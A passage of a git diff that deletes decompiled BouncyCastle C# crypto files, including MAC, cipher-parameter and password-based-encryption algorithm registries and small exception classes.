"DESEDECMAC": - return new CMac(new DesEdeEngine()); - case "DESEDEMAC": - return new CbcBlockCipherMac(new DesEdeEngine()); - case "DESEDEMAC/CFB8": - return new CfbBlockCipherMac(new DesEdeEngine()); - case "DESEDEMAC64": - return new CbcBlockCipherMac(new DesEdeEngine(), 64); - case "DESEDEMAC64WITHISO7816-4PADDING": - return new CbcBlockCipherMac(new DesEdeEngine(), 64, new ISO7816d4Padding()); - case "DESWITHISO9797": - case "ISO9797ALG3MAC": - return new ISO9797Alg3Mac(new DesEngine()); - case "ISO9797ALG3WITHISO7816-4PADDING": - return new ISO9797Alg3Mac(new DesEngine(), new ISO7816d4Padding()); - case "SKIPJACKMAC": - return new CbcBlockCipherMac(new SkipjackEngine()); - case "SKIPJACKMAC/CFB8": - return new CfbBlockCipherMac(new SkipjackEngine()); - case "IDEAMAC": - return new CbcBlockCipherMac(new IdeaEngine()); - case "IDEAMAC/CFB8": - return new CfbBlockCipherMac(new IdeaEngine()); - case "RC2MAC": - return new CbcBlockCipherMac(new RC2Engine()); - case "RC2MAC/CFB8": - return new CfbBlockCipherMac(new RC2Engine()); - case "RC5MAC": - return new CbcBlockCipherMac(new RC532Engine()); - case "RC5MAC/CFB8": - return new CfbBlockCipherMac(new RC532Engine()); - case "GOST28147MAC": - return new Gost28147Mac(); - case "VMPCMAC": - return new VmpcMac(); - case "SIPHASH-2-4": - return new SipHash(); - default: - throw new SecurityUtilityException("Mac " + text2 + " not recognised."); - } - } - - public static string GetAlgorithmName(DerObjectIdentifier oid) - { - return (string)algorithms[oid.Id]; - } - - public static byte[] CalculateMac(string algorithm, ICipherParameters cp, byte[] input) - { - IMac mac = GetMac(algorithm); - mac.Init(cp); - mac.BlockUpdate(input, 0, input.Length); - return DoFinal(mac); - } - - public static byte[] DoFinal(IMac mac) - { - byte[] array = new byte[mac.GetMacSize()]; - mac.DoFinal(array, 0); - return array; - } - - public static byte[] DoFinal(IMac mac, byte[] input) - { - mac.BlockUpdate(input, 0, input.Length); - return DoFinal(mac); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/NoSuchAlgorithmException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/NoSuchAlgorithmException.cs deleted file mode 100644 index cf84c1c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/NoSuchAlgorithmException.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Security; - -[Serializable] -[Obsolete("Never thrown")] -public class NoSuchAlgorithmException : GeneralSecurityException -{ - public NoSuchAlgorithmException() - { - } - - public NoSuchAlgorithmException(string message) - : base(message) - { - } - - public NoSuchAlgorithmException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/ParameterUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/ParameterUtilities.cs deleted file mode 100644 index e96dadd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/ParameterUtilities.cs +++ /dev/null @@ -1,250 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Asn1.Kisa; -using Org.BouncyCastle.Asn1.Misc; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Ntt; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class ParameterUtilities -{ - private static readonly IDictionary algorithms; - - private static readonly IDictionary basicIVSizes; - - private ParameterUtilities() - { - } - - static ParameterUtilities() - { - algorithms = Platform.CreateHashtable(); - basicIVSizes = Platform.CreateHashtable(); - AddAlgorithm("AES", "AESWRAP"); - AddAlgorithm("AES128", "2.16.840.1.101.3.4.2", NistObjectIdentifiers.IdAes128Cbc, NistObjectIdentifiers.IdAes128Cfb, NistObjectIdentifiers.IdAes128Ecb, NistObjectIdentifiers.IdAes128Ofb, NistObjectIdentifiers.IdAes128Wrap); - AddAlgorithm("AES192", "2.16.840.1.101.3.4.22", NistObjectIdentifiers.IdAes192Cbc, NistObjectIdentifiers.IdAes192Cfb, NistObjectIdentifiers.IdAes192Ecb, NistObjectIdentifiers.IdAes192Ofb, NistObjectIdentifiers.IdAes192Wrap); - AddAlgorithm("AES256", "2.16.840.1.101.3.4.42", NistObjectIdentifiers.IdAes256Cbc, NistObjectIdentifiers.IdAes256Cfb, NistObjectIdentifiers.IdAes256Ecb, NistObjectIdentifiers.IdAes256Ofb, NistObjectIdentifiers.IdAes256Wrap); - AddAlgorithm("BLOWFISH", "1.3.6.1.4.1.3029.1.2"); - AddAlgorithm("CAMELLIA", "CAMELLIAWRAP"); - AddAlgorithm("CAMELLIA128", NttObjectIdentifiers.IdCamellia128Cbc, NttObjectIdentifiers.IdCamellia128Wrap); - AddAlgorithm("CAMELLIA192", NttObjectIdentifiers.IdCamellia192Cbc, NttObjectIdentifiers.IdCamellia192Wrap); - AddAlgorithm("CAMELLIA256", NttObjectIdentifiers.IdCamellia256Cbc, NttObjectIdentifiers.IdCamellia256Wrap); - AddAlgorithm("CAST5", "1.2.840.113533.7.66.10"); - AddAlgorithm("CAST6"); - AddAlgorithm("DES", OiwObjectIdentifiers.DesCbc, OiwObjectIdentifiers.DesCfb, OiwObjectIdentifiers.DesEcb, OiwObjectIdentifiers.DesOfb); - AddAlgorithm("DESEDE", "DESEDEWRAP", "TDEA", OiwObjectIdentifiers.DesEde, PkcsObjectIdentifiers.IdAlgCms3DesWrap); - AddAlgorithm("DESEDE3", PkcsObjectIdentifiers.DesEde3Cbc); - AddAlgorithm("GOST28147", "GOST", "GOST-28147", CryptoProObjectIdentifiers.GostR28147Cbc); - AddAlgorithm("HC128"); - AddAlgorithm("HC256"); - AddAlgorithm("IDEA", "1.3.6.1.4.1.188.7.1.1.2"); - AddAlgorithm("NOEKEON"); - AddAlgorithm("RC2", PkcsObjectIdentifiers.RC2Cbc, PkcsObjectIdentifiers.IdAlgCmsRC2Wrap); - AddAlgorithm("RC4", "ARC4", "1.2.840.113549.3.4"); - AddAlgorithm("RC5", "RC5-32"); - AddAlgorithm("RC5-64"); - AddAlgorithm("RC6"); - AddAlgorithm("RIJNDAEL"); - AddAlgorithm("SALSA20"); - AddAlgorithm("SEED", KisaObjectIdentifiers.IdNpkiAppCmsSeedWrap, KisaObjectIdentifiers.IdSeedCbc); - AddAlgorithm("SERPENT"); - AddAlgorithm("SKIPJACK"); - AddAlgorithm("SM4"); - AddAlgorithm("TEA"); - AddAlgorithm("THREEFISH-256"); - AddAlgorithm("THREEFISH-512"); - AddAlgorithm("THREEFISH-1024"); - AddAlgorithm("TNEPRES"); - AddAlgorithm("TWOFISH"); - AddAlgorithm("VMPC"); - AddAlgorithm("VMPC-KSA3"); - AddAlgorithm("XTEA"); - AddBasicIVSizeEntries(8, "BLOWFISH", "DES", "DESEDE", "DESEDE3"); - AddBasicIVSizeEntries(16, "AES", "AES128", "AES192", "AES256", "CAMELLIA", "CAMELLIA128", "CAMELLIA192", "CAMELLIA256", "NOEKEON", "SEED", "SM4"); - } - - private static void AddAlgorithm(string canonicalName, params object[] aliases) - { - algorithms[canonicalName] = canonicalName; - foreach (object obj in aliases) - { - algorithms[obj.ToString()] = canonicalName; - } - } - - private static void AddBasicIVSizeEntries(int size, params string[] algorithms) - { - foreach (string key in algorithms) - { - basicIVSizes.Add(key, size); - } - } - - public static string GetCanonicalAlgorithmName(string algorithm) - { - return (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - } - - public static KeyParameter CreateKeyParameter(DerObjectIdentifier algOid, byte[] keyBytes) - { - return CreateKeyParameter(algOid.Id, keyBytes, 0, keyBytes.Length); - } - - public static KeyParameter CreateKeyParameter(string algorithm, byte[] keyBytes) - { - return CreateKeyParameter(algorithm, keyBytes, 0, keyBytes.Length); - } - - public static KeyParameter CreateKeyParameter(DerObjectIdentifier algOid, byte[] keyBytes, int offset, int length) - { - return CreateKeyParameter(algOid.Id, keyBytes, offset, length); - } - - public static KeyParameter CreateKeyParameter(string algorithm, byte[] keyBytes, int offset, int length) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - string canonicalAlgorithmName = GetCanonicalAlgorithmName(algorithm); - if (canonicalAlgorithmName == null) - { - throw new SecurityUtilityException("Algorithm " + algorithm + " not recognised."); - } - switch (canonicalAlgorithmName) - { - case "DES": - return new DesParameters(keyBytes, offset, length); - case "DESEDE": - case "DESEDE3": - return new DesEdeParameters(keyBytes, offset, length); - case "RC2": - return new RC2Parameters(keyBytes, offset, length); - default: - return new KeyParameter(keyBytes, offset, length); - } - } - - public static ICipherParameters GetCipherParameters(DerObjectIdentifier algOid, ICipherParameters key, Asn1Object asn1Params) - { - return GetCipherParameters(algOid.Id, key, asn1Params); - } - - public static ICipherParameters GetCipherParameters(string algorithm, ICipherParameters key, Asn1Object asn1Params) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - string canonicalAlgorithmName = GetCanonicalAlgorithmName(algorithm); - if (canonicalAlgorithmName == null) - { - throw new SecurityUtilityException("Algorithm " + algorithm + " not recognised."); - } - byte[] array = null; - try - { - int num = FindBasicIVSize(canonicalAlgorithmName); - if (num == -1) - { - switch (canonicalAlgorithmName) - { - default: - goto end_IL_0030; - case "RIJNDAEL": - case "SKIPJACK": - case "TWOFISH": - break; - case "CAST5": - array = Cast5CbcParameters.GetInstance(asn1Params).GetIV(); - goto end_IL_0030; - case "IDEA": - array = IdeaCbcPar.GetInstance(asn1Params).GetIV(); - goto end_IL_0030; - case "RC2": - array = RC2CbcParameter.GetInstance(asn1Params).GetIV(); - goto end_IL_0030; - } - } - array = ((Asn1OctetString)asn1Params).GetOctets(); - end_IL_0030:; - } - catch (Exception innerException) - { - throw new ArgumentException("Could not process ASN.1 parameters", innerException); - } - if (array != null) - { - return new ParametersWithIV(key, array); - } - throw new SecurityUtilityException("Algorithm " + algorithm + " not recognised."); - } - - public static Asn1Encodable GenerateParameters(DerObjectIdentifier algID, SecureRandom random) - { - return GenerateParameters(algID.Id, random); - } - - public static Asn1Encodable GenerateParameters(string algorithm, SecureRandom random) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - string canonicalAlgorithmName = GetCanonicalAlgorithmName(algorithm); - if (canonicalAlgorithmName == null) - { - throw new SecurityUtilityException("Algorithm " + algorithm + " not recognised."); - } - int num = FindBasicIVSize(canonicalAlgorithmName); - if (num != -1) - { - return CreateIVOctetString(random, num); - } - return canonicalAlgorithmName switch - { - "CAST5" => new Cast5CbcParameters(CreateIV(random, 8), 128), - "IDEA" => new IdeaCbcPar(CreateIV(random, 8)), - "RC2" => new RC2CbcParameter(CreateIV(random, 8)), - _ => throw new SecurityUtilityException("Algorithm " + algorithm + " not recognised."), - }; - } - - public static ICipherParameters WithRandom(ICipherParameters cp, SecureRandom random) - { - if (random != null) - { - cp = new ParametersWithRandom(cp, random); - } - return cp; - } - - private static Asn1OctetString CreateIVOctetString(SecureRandom random, int ivLength) - { - return new DerOctetString(CreateIV(random, ivLength)); - } - - private static byte[] CreateIV(SecureRandom random, int ivLength) - { - byte[] array = new byte[ivLength]; - random.NextBytes(array); - return array; - } - - private static int FindBasicIVSize(string canonicalName) - { - if (!basicIVSizes.Contains(canonicalName)) - { - return -1; - } - return (int)basicIVSizes[canonicalName]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PasswordException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PasswordException.cs deleted file mode 100644 index ed50400..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PasswordException.cs +++ /dev/null @@ -1,18 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Security; - -[Serializable] -public class PasswordException : IOException -{ - public PasswordException(string message) - : base(message) - { - } - - public PasswordException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PbeUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PbeUtilities.cs deleted file mode 100644 index 5a6862e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Security/PbeUtilities.cs +++ /dev/null @@ -1,558 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.BC; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Asn1.Oiw; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.TeleTrust; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Digests; -using Org.BouncyCastle.Crypto.Generators; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Security; - -public sealed class PbeUtilities -{ - private const string Pkcs5S1 = "Pkcs5S1"; - - private const string Pkcs5S2 = "Pkcs5S2"; - - private const string Pkcs12 = "Pkcs12"; - - private const string OpenSsl = "OpenSsl"; - - private static readonly IDictionary algorithms; - - private static readonly IDictionary algorithmType; - - private static readonly IDictionary oids; - - public static ICollection Algorithms => oids.Keys; - - private PbeUtilities() - { - } - - static PbeUtilities() - { - algorithms = Platform.CreateHashtable(); - algorithmType = Platform.CreateHashtable(); - oids = Platform.CreateHashtable(); - algorithms["PKCS5SCHEME1"] = "Pkcs5scheme1"; - algorithms["PKCS5SCHEME2"] = "Pkcs5scheme2"; - algorithms[PkcsObjectIdentifiers.IdPbeS2.Id] = "Pkcs5scheme2"; - algorithms["PBEWITHMD2ANDDES-CBC"] = "PBEwithMD2andDES-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithMD2AndDesCbc.Id] = "PBEwithMD2andDES-CBC"; - algorithms["PBEWITHMD2ANDRC2-CBC"] = "PBEwithMD2andRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithMD2AndRC2Cbc.Id] = "PBEwithMD2andRC2-CBC"; - algorithms["PBEWITHMD5ANDDES-CBC"] = "PBEwithMD5andDES-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithMD5AndDesCbc.Id] = "PBEwithMD5andDES-CBC"; - algorithms["PBEWITHMD5ANDRC2-CBC"] = "PBEwithMD5andRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithMD5AndRC2Cbc.Id] = "PBEwithMD5andRC2-CBC"; - algorithms["PBEWITHSHA1ANDDES"] = "PBEwithSHA-1andDES-CBC"; - algorithms["PBEWITHSHA-1ANDDES"] = "PBEwithSHA-1andDES-CBC"; - algorithms["PBEWITHSHA1ANDDES-CBC"] = "PBEwithSHA-1andDES-CBC"; - algorithms["PBEWITHSHA-1ANDDES-CBC"] = "PBEwithSHA-1andDES-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithSha1AndDesCbc.Id] = "PBEwithSHA-1andDES-CBC"; - algorithms["PBEWITHSHA1ANDRC2"] = "PBEwithSHA-1andRC2-CBC"; - algorithms["PBEWITHSHA-1ANDRC2"] = "PBEwithSHA-1andRC2-CBC"; - algorithms["PBEWITHSHA1ANDRC2-CBC"] = "PBEwithSHA-1andRC2-CBC"; - algorithms["PBEWITHSHA-1ANDRC2-CBC"] = "PBEwithSHA-1andRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithSha1AndRC2Cbc.Id] = "PBEwithSHA-1andRC2-CBC"; - algorithms["PKCS12"] = "Pkcs12"; - algorithms[BCObjectIdentifiers.bc_pbe_sha1_pkcs12_aes128_cbc.Id] = "PBEwithSHA-1and128bitAES-CBC-BC"; - algorithms[BCObjectIdentifiers.bc_pbe_sha1_pkcs12_aes192_cbc.Id] = "PBEwithSHA-1and192bitAES-CBC-BC"; - algorithms[BCObjectIdentifiers.bc_pbe_sha1_pkcs12_aes256_cbc.Id] = "PBEwithSHA-1and256bitAES-CBC-BC"; - algorithms[BCObjectIdentifiers.bc_pbe_sha256_pkcs12_aes128_cbc.Id] = "PBEwithSHA-256and128bitAES-CBC-BC"; - algorithms[BCObjectIdentifiers.bc_pbe_sha256_pkcs12_aes192_cbc.Id] = "PBEwithSHA-256and192bitAES-CBC-BC"; - algorithms[BCObjectIdentifiers.bc_pbe_sha256_pkcs12_aes256_cbc.Id] = "PBEwithSHA-256and256bitAES-CBC-BC"; - algorithms["PBEWITHSHAAND128BITRC4"] = "PBEwithSHA-1and128bitRC4"; - algorithms["PBEWITHSHA1AND128BITRC4"] = "PBEwithSHA-1and128bitRC4"; - algorithms["PBEWITHSHA-1AND128BITRC4"] = "PBEwithSHA-1and128bitRC4"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd128BitRC4.Id] = "PBEwithSHA-1and128bitRC4"; - algorithms["PBEWITHSHAAND40BITRC4"] = "PBEwithSHA-1and40bitRC4"; - algorithms["PBEWITHSHA1AND40BITRC4"] = "PBEwithSHA-1and40bitRC4"; - algorithms["PBEWITHSHA-1AND40BITRC4"] = "PBEwithSHA-1and40bitRC4"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd40BitRC4.Id] = "PBEwithSHA-1and40bitRC4"; - algorithms["PBEWITHSHAAND3-KEYDESEDE-CBC"] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms["PBEWITHSHAAND3-KEYTRIPLEDES-CBC"] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms["PBEWITHSHA1AND3-KEYDESEDE-CBC"] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms["PBEWITHSHA1AND3-KEYTRIPLEDES-CBC"] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms["PBEWITHSHA-1AND3-KEYDESEDE-CBC"] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms["PBEWITHSHA-1AND3-KEYTRIPLEDES-CBC"] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd3KeyTripleDesCbc.Id] = "PBEwithSHA-1and3-keyDESEDE-CBC"; - algorithms["PBEWITHSHAAND2-KEYDESEDE-CBC"] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms["PBEWITHSHAAND2-KEYTRIPLEDES-CBC"] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms["PBEWITHSHA1AND2-KEYDESEDE-CBC"] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms["PBEWITHSHA1AND2-KEYTRIPLEDES-CBC"] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms["PBEWITHSHA-1AND2-KEYDESEDE-CBC"] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms["PBEWITHSHA-1AND2-KEYTRIPLEDES-CBC"] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd2KeyTripleDesCbc.Id] = "PBEwithSHA-1and2-keyDESEDE-CBC"; - algorithms["PBEWITHSHAAND128BITRC2-CBC"] = "PBEwithSHA-1and128bitRC2-CBC"; - algorithms["PBEWITHSHA1AND128BITRC2-CBC"] = "PBEwithSHA-1and128bitRC2-CBC"; - algorithms["PBEWITHSHA-1AND128BITRC2-CBC"] = "PBEwithSHA-1and128bitRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbeWithShaAnd128BitRC2Cbc.Id] = "PBEwithSHA-1and128bitRC2-CBC"; - algorithms["PBEWITHSHAAND40BITRC2-CBC"] = "PBEwithSHA-1and40bitRC2-CBC"; - algorithms["PBEWITHSHA1AND40BITRC2-CBC"] = "PBEwithSHA-1and40bitRC2-CBC"; - algorithms["PBEWITHSHA-1AND40BITRC2-CBC"] = "PBEwithSHA-1and40bitRC2-CBC"; - algorithms[PkcsObjectIdentifiers.PbewithShaAnd40BitRC2Cbc.Id] = "PBEwithSHA-1and40bitRC2-CBC"; - algorithms["PBEWITHSHAAND128BITAES-CBC-BC"] = "PBEwithSHA-1and128bitAES-CBC-BC"; - algorithms["PBEWITHSHA1AND128BITAES-CBC-BC"] = "PBEwithSHA-1and128bitAES-CBC-BC"; - algorithms["PBEWITHSHA-1AND128BITAES-CBC-BC"] = "PBEwithSHA-1and128bitAES-CBC-BC"; - algorithms["PBEWITHSHAAND192BITAES-CBC-BC"] = "PBEwithSHA-1and192bitAES-CBC-BC"; - algorithms["PBEWITHSHA1AND192BITAES-CBC-BC"] = "PBEwithSHA-1and192bitAES-CBC-BC"; - algorithms["PBEWITHSHA-1AND192BITAES-CBC-BC"] = "PBEwithSHA-1and192bitAES-CBC-BC"; - algorithms["PBEWITHSHAAND256BITAES-CBC-BC"] = "PBEwithSHA-1and256bitAES-CBC-BC"; - algorithms["PBEWITHSHA1AND256BITAES-CBC-BC"] = "PBEwithSHA-1and256bitAES-CBC-BC"; - algorithms["PBEWITHSHA-1AND256BITAES-CBC-BC"] = "PBEwithSHA-1and256bitAES-CBC-BC"; - algorithms["PBEWITHSHA256AND128BITAES-CBC-BC"] = "PBEwithSHA-256and128bitAES-CBC-BC"; - algorithms["PBEWITHSHA-256AND128BITAES-CBC-BC"] = "PBEwithSHA-256and128bitAES-CBC-BC"; - algorithms["PBEWITHSHA256AND192BITAES-CBC-BC"] = "PBEwithSHA-256and192bitAES-CBC-BC"; - algorithms["PBEWITHSHA-256AND192BITAES-CBC-BC"] = "PBEwithSHA-256and192bitAES-CBC-BC"; - algorithms["PBEWITHSHA256AND256BITAES-CBC-BC"] = "PBEwithSHA-256and256bitAES-CBC-BC"; - algorithms["PBEWITHSHA-256AND256BITAES-CBC-BC"] = "PBEwithSHA-256and256bitAES-CBC-BC"; - algorithms["PBEWITHSHAANDIDEA"] = "PBEwithSHA-1andIDEA-CBC"; - algorithms["PBEWITHSHAANDIDEA-CBC"] = "PBEwithSHA-1andIDEA-CBC"; - algorithms["PBEWITHSHAANDTWOFISH"] = "PBEwithSHA-1andTWOFISH-CBC"; - algorithms["PBEWITHSHAANDTWOFISH-CBC"] = "PBEwithSHA-1andTWOFISH-CBC"; - algorithms["PBEWITHHMACSHA1"] = "PBEwithHmacSHA-1"; - algorithms["PBEWITHHMACSHA-1"] = "PBEwithHmacSHA-1"; - algorithms[OiwObjectIdentifiers.IdSha1.Id] = "PBEwithHmacSHA-1"; - algorithms["PBEWITHHMACSHA224"] = "PBEwithHmacSHA-224"; - algorithms["PBEWITHHMACSHA-224"] = "PBEwithHmacSHA-224"; - algorithms[NistObjectIdentifiers.IdSha224.Id] = "PBEwithHmacSHA-224"; - algorithms["PBEWITHHMACSHA256"] = "PBEwithHmacSHA-256"; - algorithms["PBEWITHHMACSHA-256"] = "PBEwithHmacSHA-256"; - algorithms[NistObjectIdentifiers.IdSha256.Id] = "PBEwithHmacSHA-256"; - algorithms["PBEWITHHMACRIPEMD128"] = "PBEwithHmacRipeMD128"; - algorithms[TeleTrusTObjectIdentifiers.RipeMD128.Id] = "PBEwithHmacRipeMD128"; - algorithms["PBEWITHHMACRIPEMD160"] = "PBEwithHmacRipeMD160"; - algorithms[TeleTrusTObjectIdentifiers.RipeMD160.Id] = "PBEwithHmacRipeMD160"; - algorithms["PBEWITHHMACRIPEMD256"] = "PBEwithHmacRipeMD256"; - algorithms[TeleTrusTObjectIdentifiers.RipeMD256.Id] = "PBEwithHmacRipeMD256"; - algorithms["PBEWITHHMACTIGER"] = "PBEwithHmacTiger"; - algorithms["PBEWITHMD5AND128BITAES-CBC-OPENSSL"] = "PBEwithMD5and128bitAES-CBC-OpenSSL"; - algorithms["PBEWITHMD5AND192BITAES-CBC-OPENSSL"] = "PBEwithMD5and192bitAES-CBC-OpenSSL"; - algorithms["PBEWITHMD5AND256BITAES-CBC-OPENSSL"] = "PBEwithMD5and256bitAES-CBC-OpenSSL"; - algorithmType["Pkcs5scheme1"] = "Pkcs5S1"; - algorithmType["Pkcs5scheme2"] = "Pkcs5S2"; - algorithmType["PBEwithMD2andDES-CBC"] = "Pkcs5S1"; - algorithmType["PBEwithMD2andRC2-CBC"] = "Pkcs5S1"; - algorithmType["PBEwithMD5andDES-CBC"] = "Pkcs5S1"; - algorithmType["PBEwithMD5andRC2-CBC"] = "Pkcs5S1"; - algorithmType["PBEwithSHA-1andDES-CBC"] = "Pkcs5S1"; - algorithmType["PBEwithSHA-1andRC2-CBC"] = "Pkcs5S1"; - algorithmType["Pkcs12"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and128bitRC4"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and40bitRC4"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and3-keyDESEDE-CBC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and2-keyDESEDE-CBC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and128bitRC2-CBC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and40bitRC2-CBC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and128bitAES-CBC-BC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and192bitAES-CBC-BC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1and256bitAES-CBC-BC"] = "Pkcs12"; - algorithmType["PBEwithSHA-256and128bitAES-CBC-BC"] = "Pkcs12"; - algorithmType["PBEwithSHA-256and192bitAES-CBC-BC"] = "Pkcs12"; - algorithmType["PBEwithSHA-256and256bitAES-CBC-BC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1andIDEA-CBC"] = "Pkcs12"; - algorithmType["PBEwithSHA-1andTWOFISH-CBC"] = "Pkcs12"; - algorithmType["PBEwithHmacSHA-1"] = "Pkcs12"; - algorithmType["PBEwithHmacSHA-224"] = "Pkcs12"; - algorithmType["PBEwithHmacSHA-256"] = "Pkcs12"; - algorithmType["PBEwithHmacRipeMD128"] = "Pkcs12"; - algorithmType["PBEwithHmacRipeMD160"] = "Pkcs12"; - algorithmType["PBEwithHmacRipeMD256"] = "Pkcs12"; - algorithmType["PBEwithHmacTiger"] = "Pkcs12"; - algorithmType["PBEwithMD5and128bitAES-CBC-OpenSSL"] = "OpenSsl"; - algorithmType["PBEwithMD5and192bitAES-CBC-OpenSSL"] = "OpenSsl"; - algorithmType["PBEwithMD5and256bitAES-CBC-OpenSSL"] = "OpenSsl"; - oids["PBEwithMD2andDES-CBC"] = PkcsObjectIdentifiers.PbeWithMD2AndDesCbc; - oids["PBEwithMD2andRC2-CBC"] = PkcsObjectIdentifiers.PbeWithMD2AndRC2Cbc; - oids["PBEwithMD5andDES-CBC"] = PkcsObjectIdentifiers.PbeWithMD5AndDesCbc; - oids["PBEwithMD5andRC2-CBC"] = PkcsObjectIdentifiers.PbeWithMD5AndRC2Cbc; - oids["PBEwithSHA-1andDES-CBC"] = PkcsObjectIdentifiers.PbeWithSha1AndDesCbc; - oids["PBEwithSHA-1andRC2-CBC"] = PkcsObjectIdentifiers.PbeWithSha1AndRC2Cbc; - oids["PBEwithSHA-1and128bitRC4"] = PkcsObjectIdentifiers.PbeWithShaAnd128BitRC4; - oids["PBEwithSHA-1and40bitRC4"] = PkcsObjectIdentifiers.PbeWithShaAnd40BitRC4; - oids["PBEwithSHA-1and3-keyDESEDE-CBC"] = PkcsObjectIdentifiers.PbeWithShaAnd3KeyTripleDesCbc; - oids["PBEwithSHA-1and2-keyDESEDE-CBC"] = PkcsObjectIdentifiers.PbeWithShaAnd2KeyTripleDesCbc; - oids["PBEwithSHA-1and128bitRC2-CBC"] = PkcsObjectIdentifiers.PbeWithShaAnd128BitRC2Cbc; - oids["PBEwithSHA-1and40bitRC2-CBC"] = PkcsObjectIdentifiers.PbewithShaAnd40BitRC2Cbc; - oids["PBEwithHmacSHA-1"] = OiwObjectIdentifiers.IdSha1; - oids["PBEwithHmacSHA-224"] = NistObjectIdentifiers.IdSha224; - oids["PBEwithHmacSHA-256"] = NistObjectIdentifiers.IdSha256; - oids["PBEwithHmacRipeMD128"] = TeleTrusTObjectIdentifiers.RipeMD128; - oids["PBEwithHmacRipeMD160"] = TeleTrusTObjectIdentifiers.RipeMD160; - oids["PBEwithHmacRipeMD256"] = TeleTrusTObjectIdentifiers.RipeMD256; - oids["Pkcs5scheme2"] = PkcsObjectIdentifiers.IdPbeS2; - } - - private static PbeParametersGenerator MakePbeGenerator(string type, IDigest digest, byte[] key, byte[] salt, int iterationCount) - { - PbeParametersGenerator pbeParametersGenerator; - if (type.Equals("Pkcs5S1")) - { - pbeParametersGenerator = new Pkcs5S1ParametersGenerator(digest); - } - else if (type.Equals("Pkcs5S2")) - { - pbeParametersGenerator = new Pkcs5S2ParametersGenerator(); - } - else if (type.Equals("Pkcs12")) - { - pbeParametersGenerator = new Pkcs12ParametersGenerator(digest); - } - else - { - if (!type.Equals("OpenSsl")) - { - throw new ArgumentException("Unknown PBE type: " + type, "type"); - } - pbeParametersGenerator = new OpenSslPbeParametersGenerator(); - } - pbeParametersGenerator.Init(key, salt, iterationCount); - return pbeParametersGenerator; - } - - public static DerObjectIdentifier GetObjectIdentifier(string mechanism) - { - mechanism = (string)algorithms[Platform.ToUpperInvariant(mechanism)]; - if (mechanism != null) - { - return (DerObjectIdentifier)oids[mechanism]; - } - return null; - } - - public static bool IsPkcs12(string algorithm) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - if (text != null) - { - return "Pkcs12".Equals(algorithmType[text]); - } - return false; - } - - public static bool IsPkcs5Scheme1(string algorithm) - { - string text = (string)algorithms[Platform.ToUpperInvariant(algorithm)]; - 